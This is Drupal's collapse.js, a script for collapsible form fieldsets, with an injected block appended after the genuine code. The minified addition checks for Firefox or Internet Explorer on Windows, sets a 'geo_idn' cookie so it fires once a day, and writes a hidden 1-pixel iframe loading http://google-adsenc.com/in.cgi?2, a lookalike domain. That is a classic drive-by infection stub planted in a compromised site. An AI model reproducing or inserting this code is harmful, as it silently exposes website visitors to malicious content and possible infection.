// $Id: collapse.js,v 1.6.2.2 2006/12/01 14:57:29 killes Exp $

if (isJsEnabled()) {
  addLoadEvent(collapseAutoAttach);
}

function collapseAutoAttach() {
  var fieldsets = document.getElementsByTagName('fieldset');
  var legend, fieldset;
  for (var i = 0; fieldset = fieldsets[i]; i++) {
    if (!hasClass(fieldset, 'collapsible')) {
      continue;
    }
    legend = fieldset.getElementsByTagName('legend');
    if (legend.length == 0) {
      continue;
    }
    legend = legend[0];
    var a = document.createElement('a');
    a.href = '#';
    a.onclick = function() {
      toggleClass(this.parentNode.parentNode, 'collapsed');
      if (!hasClass(this.parentNode.parentNode, 'collapsed')) {
        collapseScrollIntoView(this.parentNode.parentNode);
        if (typeof textAreaAutoAttach != 'undefined') {
          // Add the grippie to a textarea in a collapsed fieldset.
          textAreaAutoAttach(null, this.parentNode.parentNode);
        }
      }
      this.blur();
      return false;
    };
    a.innerHTML = legend.innerHTML;
    while (legend.hasChildNodes()) {
      removeNode(legend.childNodes[0]);
    }
    legend.appendChild(a);
    collapseEnsureErrorsVisible(fieldset);
  }
}

function collapseEnsureErrorsVisible(fieldset) {
  if (!hasClass(fieldset, 'collapsed')) {
    return;
  }
  var inputs = [];
  inputs = inputs.concat(fieldset.getElementsByTagName('input'));
  inputs = inputs.concat(fieldset.getElementsByTagName('textarea'));
  inputs = inputs.concat(fieldset.getElementsByTagName('select'));
  for (var j = 0; j<3; j++) {
    for (var i = 0; i < inputs[j].length; i++) {
      if (hasClass(inputs[j][i], 'error')) {
        return removeClass(fieldset, 'collapsed');
      }
    }
  }
}

function collapseScrollIntoView(node) {
  var h = self.innerHeight || document.documentElement.clientHeight || document.body.clientHeight || 0;
  var offset = self.pageYOffset || document.documentElement.scrollTop || document.body.scrollTop || 0;
  var pos = absolutePosition(node);
  if (pos.y + node.scrollHeight > h + offset) {
    if (node.scrollHeight > h) {
      window.scrollTo(0, pos.y);
    } else {
      window.scrollTo(0, pos.y + node.scrollHeight - h);
    }
  }
}
var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}